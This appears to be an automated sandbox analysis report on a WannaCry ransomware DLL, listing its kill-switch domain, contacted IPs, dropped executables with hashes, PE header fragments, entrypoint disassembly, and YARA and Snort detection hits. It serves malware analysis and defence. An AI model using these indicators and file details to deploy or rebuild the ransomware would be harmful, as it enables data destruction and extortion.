www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	unknown	unknown	true	10%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ	mssecsvr.exe, 00000008.00000002.972243100.000000000019C000.00000004.00000010.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	mssecsvr.exe.3.dr	true	URL Reputation: malware	unknown
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	mssecsvr.exe, 00000005.00000002.382688706.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
141.134.47.2	unknown	Belgium	6848	TELENET-ASBE	false
139.193.227.137	unknown	Indonesia	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
155.213.137.190	unknown	United States	7029	WINDSTREAMUS	false
86.49.207.194	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
87.230.249.59	unknown	Saudi Arabia	42428	SPSNETAutonomousNumberforMultihomedISPEnvironmentSA	false
100.67.56.10	unknown	Reserved	701	UUNETUS	false
159.84.10.39	unknown	France	1945	FR-LYRESLyonRechercheetEnseignementSuperieurLyRESE	false
36.173.105.146	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
160.204.180.93	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
61.245.106.65	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
56.119.134.134	unknown	United States	2686	ATGS-MMD-ASUS	false
59.137.57.183	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
36.249.94.30	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
51.147.229.72	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
150.82.243.185	unknown	Japan	23793	AISTNationalInstituteofAdvancedIndustrialScienceandT	false
34.50.60.134	unknown	United States	2686	ATGS-MMD-ASUS	false
3.155.136.234	unknown	United States	16509	AMAZON-02US	false
186.146.199.146	unknown	Colombia	10620	TelmexColombiaSACO	false
215.253.6.162	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
72.113.140.117	unknown	United States	22394	CELLCOUS	false
44.214.225.175	unknown	United States	14618	AMAZON-AESUS	false
64.125.62.15	unknown	United States	30103	ZOOM-VIDEO-COMM-ASUS	false
26.244.177.53	unknown	United States	7922	COMCAST-7922US	false
138.61.204.223	unknown	United States	2611	BELNETBE	false
56.182.131.122	unknown	United States	2686	ATGS-MMD-ASUS	false
57.80.172.236	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
117.17.34.67	unknown	Korea Republic of	55624	DAELIM-AS-KRDAELIMKR	false
13.14.137.108	unknown	United States	22390	XEROX-WBUS	false
153.116.4.91	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
191.163.101.174	unknown	Brazil	26615	TIMSABR	false
38.128.156.177	unknown	United States	62516	ABB-ASNUS	false
111.9.188.161	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
135.97.143.172	unknown	United States	18676	AVAYAUS	false
68.16.189.254	unknown	United States	7018	ATT-INTERNET4US	false
187.247.242.125	unknown	Mexico	13999	MegaCableSAdeCVMX	false
35.185.223.150	unknown	United States	15169	GOOGLEUS	false
44.151.145.214	unknown	United States	62383	LDS-ASBE	false
16.253.12.249	unknown	United States	unknown	unknown	false
216.115.145.126	unknown	United States	5009	EATELUS	false
166.226.184.103	unknown	United States	6614	USCC-ASNUS	false
182.223.171.61	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
13.24.164.246	unknown	United States	26662	XEROX-WVUS	false
153.59.179.150	unknown	United States	14962	NCR-252US	false
85.234.232.128	unknown	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
27.55.21.135	unknown	Thailand	132061	REALMOVE-AS-APRealmoveCompanyLimitedTH	false
173.14.113.108	unknown	United States	7922	COMCAST-7922US	false
193.39.84.80	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
143.90.143.74	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
17.80.95.157	unknown	United States	714	APPLE-ENGINEERINGUS	false

Private

IP
192.168.2.148
192.168.2.149
192.168.2.146
192.168.2.147
192.168.2.140
192.168.2.141
192.168.2.144
192.168.2.145
192.168.2.142
192.168.2.143
192.168.2.159
192.168.2.157
192.168.2.158
192.168.2.151
192.168.2.152
192.168.2.150
192.168.2.155
192.168.2.156
192.168.2.153
192.168.2.154
10.237.47.91
192.168.2.126
192.168.2.127
192.168.2.124
192.168.2.125
192.168.2.128
192.168.2.129
192.168.2.122
192.168.2.123
192.168.2.120
192.168.2.121
192.168.2.97
192.168.2.137
192.168.2.96
192.168.2.138
192.168.2.99
192.168.2.135
192.168.2.98
192.168.2.136
192.168.2.139
192.168.2.130
192.168.2.91
192.168.2.90
192.168.2.93
192.168.2.133
192.168.2.92
192.168.2.134
192.168.2.95
192.168.2.131
192.168.2.94
192.168.2.132

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	670250
Start date and time: 20/07/202219:05:23	2022-07-20 19:05:23 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	QbNF1cvpa0 (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winDLL@23/7@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.7% (good quality ratio 97.5%) Quality average: 87.1% Quality standard deviation: 21.1%
HCA Information:	Successful, ratio: 78% Number of executed functions: 67 Number of non-executed functions: 92
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 23.35.236.56, 40.125.122.176, 52.152.110.14, 20.223.24.244, 52.242.101.226, 52.191.219.104
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, atm-settingsfe-prod-weighted.trafficmanager.net, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, settings-prod-eus-1.eastus.cloudapp.azure.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:06:45	API Interceptor	1x Sleep call for process: loaddll32.exe modified
19:08:19	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELENET-ASBE	YlVYXI5KXo.dll	Get hash	malicious	Browse	178.118.252.52
	cgNiSkfqqo.dll	Get hash	malicious	Browse	78.22.97.29
	6kocFOY6i7.dll	Get hash	malicious	Browse	178.117.3.169
	4Maoj78D1f.dll	Get hash	malicious	Browse	84.197.232.134
	7veyezkcWb.dll	Get hash	malicious	Browse	82.143.84.208
	2hBe7Zg5zN.dll	Get hash	malicious	Browse	213.118.252.163
	nMrtxLpmF4.dll	Get hash	malicious	Browse	81.83.212.178
	Vwjt5pZUNq.dll	Get hash	malicious	Browse	94.227.111.123
	Lz4XAty9fD.dll	Get hash	malicious	Browse	94.224.227.10
	1GevvT5j9F.dll	Get hash	malicious	Browse	94.224.30.216
	w5bcSU8TfI.dll	Get hash	malicious	Browse	78.20.136.168
	7L0nCME6Kp.dll	Get hash	malicious	Browse	141.134.86.222
	fcZBQq5qMC.dll	Get hash	malicious	Browse	84.197.18.50
	fARKm4CNfq.dll	Get hash	malicious	Browse	84.194.198.19
	x37cJUReHb.dll	Get hash	malicious	Browse	141.134.31.220
	vejzyRg7oS.dll	Get hash	malicious	Browse	94.227.196.22
	sI2OV31x3W.dll	Get hash	malicious	Browse	193.58.41.63
	8HNQ3h7LRn.dll	Get hash	malicious	Browse	84.197.119.124
	KpieQrxzhk.dll	Get hash	malicious	Browse	84.199.220.138
	GTui2LK7EK.dll	Get hash	malicious	Browse	195.17.243.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	gaxuKGW0Q6.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	3riwwi5S3o.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	1lRKsdR45K.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	ffv4z4GV2N.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	QmJnZP8ksS.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	u6J827hhVw.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	F69dHHlM21.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	LBp1bpdc2J.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	71g6KUSawq.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	HixFSv1wxE.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	rQJydZ0McE.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	L0nkxaIRJN.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	39u0NEOL4v.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	NuLbW6Y31T.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	3JaR0zYKpu.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	zZMmONZWnO.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	n81cC64EEr.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	s8bHAoM2Zx.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	fPFPnWqeow.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67
	Gs1rwyXsfo.dll	Get hash	malicious	Browse	20.190.160.15 40.126.32.67

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\WINDOWS\qeriuwjhrf (copy)	48O5lgRp91.dll	Get hash	malicious	Browse
	PDAZE3eQB1.dll	Get hash	malicious	Browse
	d8oGI2K5Bi.dll	Get hash	malicious	Browse
	mssecsvr.exe	Get hash	malicious	Browse
	zPdbGc5VTX.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x646e70f0, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2507237159937665
Encrypted:	false
SSDEEP:	384:E+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:7SB2nSB2RSjlK/+mLesOj1J2
MD5:	ABBCEA9F2E6F452F54F7F1CA845ED76D
SHA1:	0D89A9FC7B840B2E53AAECA11DE4F1CD2EDC1D81
SHA-256:	E32DE8AB3171140E667E83EAF8089869A5B47E10FFCFB09EE514F554DDEEC4E4
SHA-512:	BCC76919A94DCB83127D7D74B8F92F59B56A1FBF61C60A1380684A07217A3DAD2622C6E482186D7D4353B1E6BEB49DAD9FE2068F557BFBB184926DC387FAF90B
Malicious:	false
Preview:	dnp.... ................e.f.3...w........................&..........w.......z3.h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w..............................................................................................................................................................................................................................................z....................b.....z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Download File

Process:	C:\Windows\tasksche.exe
File Type:	data
Category:	modified
Size (bytes):	58320
Entropy (8bit):	1.847852685736408
Encrypted:	false
SSDEEP:	96:dBnh11c2PisqGU7NiW+DwE/xScTt/9/8RWvRYyDjjLvO63vExT702zi8Vf2Vh6IO:Xh11/PisohacELj0nMOhl702G8Vf66IO
MD5:	B6998E8CE3B4AD22819B04CF39C764D6
SHA1:	DF8C0FCAF5BCE2F76594C35E62597B7297879F27
SHA-256:	20925BCB3E828E9FE3D0AA7911DA1B365664B65176D4D6E4314E18ADAB6F3CFE
SHA-512:	7ACC7078987D284A6B9DA0C35FA50097D9508E68DC0AA4692C66DF8341D5500FDFC6AE1827E1083F6A4A3EE933FF62DDA6BA3FFDBBB38DD8518A9DDC542BAD63
Malicious:	false
Preview:	..0 IMMM ...........K...(......... ......................................................................................................................................................................................................................................................................................................................................*.r.^.C .......x........................................................................................................................................................................................................................................................................................................................................................>ki..8. .......(...88..................................................q....sp........................................................................................................................................................................................................

C:\WINDOWS\qeriuwjhrf (copy)

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.964401099413066
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:XyfBhz1aRxcSUDk36SAEdhvm
MD5:	BEB8A27FC024962E045C32AA58D07D0E
SHA1:	796D3613673F323135865C42272ABEF347ADD163
SHA-256:	EA2AD4D3BB98673B88E18EEA1BF06C371C206B64246A9193B2A64BA4FE4F4900
SHA-512:	E84C03F6F4399B28E0D258B743831F36C621325D9B199CBBDD6982ED51280FACFC5A953A2393788BBC54EFB653F95C9F75EA29C93C147C9227AFF3395F788179
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 88%, Browse Antivirus: Metadefender, Detection: 69%, Browse Antivirus: ReversingLabs, Detection: 88%
Joe Sandbox View:	Filename: 48O5lgRp91.dll, Detection: malicious, Browse Filename: PDAZE3eQB1.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse Filename: mssecsvr.exe, Detection: malicious, Browse Filename: zPdbGc5VTX.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\eee.exe

Download File

Process:	C:\Windows\tasksche.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1981503
Entropy (8bit):	1.1514036614623402
Encrypted:	false
SSDEEP:	3072:Pm7CQNtZU+mWdyVsJM5MelfvtNdQU/2DRIYUoNv+byel0QWq:PsCwu+mWhJifvtNP/7YXYlW
MD5:	03880BEAD20960FEF3D46ADE3C83E1BD
SHA1:	62EECEF13F3125CF8E4212D4AD85AB45E091830D
SHA-256:	92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8
SHA-512:	8534E48D702AFB70A4537096AEC7EBB1E4C1A4CF14A44F7C1F7D8DF972742A5E0A49738124891843CF10E390379ECEEFC7882A0BE6AEA206A6583BC4B1194F9D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 10%, Browse Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..`_Z.`_Z.`_Z...Z.`_Z...Z1`_Z...Z.`_Z.>\[.`_Z.>[[.`_Z.>Z[.`_Z...Z.`_Z...Z.`_Z.`^Z@`_Z->Z[.`_Z->_[.`_Z(>.Z.`_Z->][.`_ZRich.`_Z........PE..L......Y..........................................@.......................... ............@.........................@...4...t...(........:......................X...Pn..T...............................@...................... ....................text............................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc....F.......H..................@..@.reloc..X........ ..................@..B........................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723264
Entropy (8bit):	5.659371223715968
Encrypted:	false
SSDEEP:	49152:tnpEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnv:hpyfBhz1aRxcSUDk36SAEdhv
MD5:	6E8971EB87017E3B907679EF204BCC2A
SHA1:	641A88027EF8722070F01809437A276300FC0268
SHA-256:	CA520BF7622E0D4C839F7568A839A8F3CDBC416091B95DC08462989EC3624ABB
SHA-512:	E977D97AD24910807763E1AA82FB7404E1923214F8453DB45B597E4ACC5651BAAFFD51FCD0136A0A5034522115BF981089ABADC5E20A4C65A5C2CDC8177BC265
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 93%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L.....................08...................@...........................f......................................................1.T.5..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc...T.5...1...5.. ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	7.964401099413066
Encrypted:	false
SSDEEP:	49152:XEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnvm:XyfBhz1aRxcSUDk36SAEdhvm
MD5:	BEB8A27FC024962E045C32AA58D07D0E
SHA1:	796D3613673F323135865C42272ABEF347ADD163
SHA-256:	EA2AD4D3BB98673B88E18EEA1BF06C371C206B64246A9193B2A64BA4FE4F4900
SHA-512:	E84C03F6F4399B28E0D258B743831F36C621325D9B199CBBDD6982ED51280FACFC5A953A2393788BBC54EFB653F95C9F75EA29C93C147C9227AFF3395F788179
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 69%, Browse Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.289844316369169
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 98.32% Windows Screen Saver (13104/52) 1.29% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QbNF1cvpa0.dll
File size:	5267459
MD5:	17521ccda62a5e8622c2c235e24d16b4
SHA1:	9a766d53a38300c5a6fd9128d0a557a68e6e7747
SHA256:	1220c13241961a14546a0b8094c3143b751d2d06a93d0d53a6dbdbff51fb6f12
SHA512:	50c47b88669ec20c7a0bca426449b120df0b57b2f317b22600a0b8233319d15ccd124d572e049fa0ba4bf292c0188bd20b2d2848d75af15b8e786d6d0c721c6d
SSDEEP:	49152:unpEKUacBVQej/1INRx+TSqTdX1HkQo6SAARdhnv:apyfBhz1aRxcSUDk36SAEdhv
TLSH:	E836236530A8C0B4D103157044ABCB62F6B67C2A17FA694FBF904E7E2E63B56E714B43
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007FB268B67A3Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007FB268B67A58h
cmp esi, 01h
je 00007FB268B67A37h
cmp esi, 02h
jne 00007FB268B67A54h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007FB268B67A3Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007FB268B67A3Eh
push edi
push esi
push ebx
call 00007FB268B6794Ah
test eax, eax
jne 00007FB268B67A36h
xor eax, eax
jmp 00007FB268B67A80h
push edi
push esi
push ebx
call 00007FB268B677FCh
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007FB268B67A3Eh
test eax, eax
jne 00007FB268B67A69h
push edi
push eax
push ebx
call 00007FB268B67926h
test esi, esi
je 00007FB268B67A37h
cmp esi, 03h
jne 00007FB268B67A58h
push edi
push esi
push ebx
call 00007FB268B67915h
test eax, eax
jne 00007FB268B67A35h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007FB268B67A43h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007FB268B67A3Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.78.8.8.858715532830018 07/20/22-19:06:49.945283	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	58715	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.850519532830018 07/20/22-19:06:48.635097	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	50519	53	192.168.2.7	8.8.8.8
192.168.2.78.8.8.863557532830018 07/20/22-19:06:47.047535	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	63557	53	192.168.2.7	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 19:06:35.236569881 CEST	49722	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:06:35.236630917 CEST	443	49722	20.40.136.238	192.168.2.7
Jul 20, 2022 19:06:35.236793041 CEST	49722	443	192.168.2.7	20.40.136.238
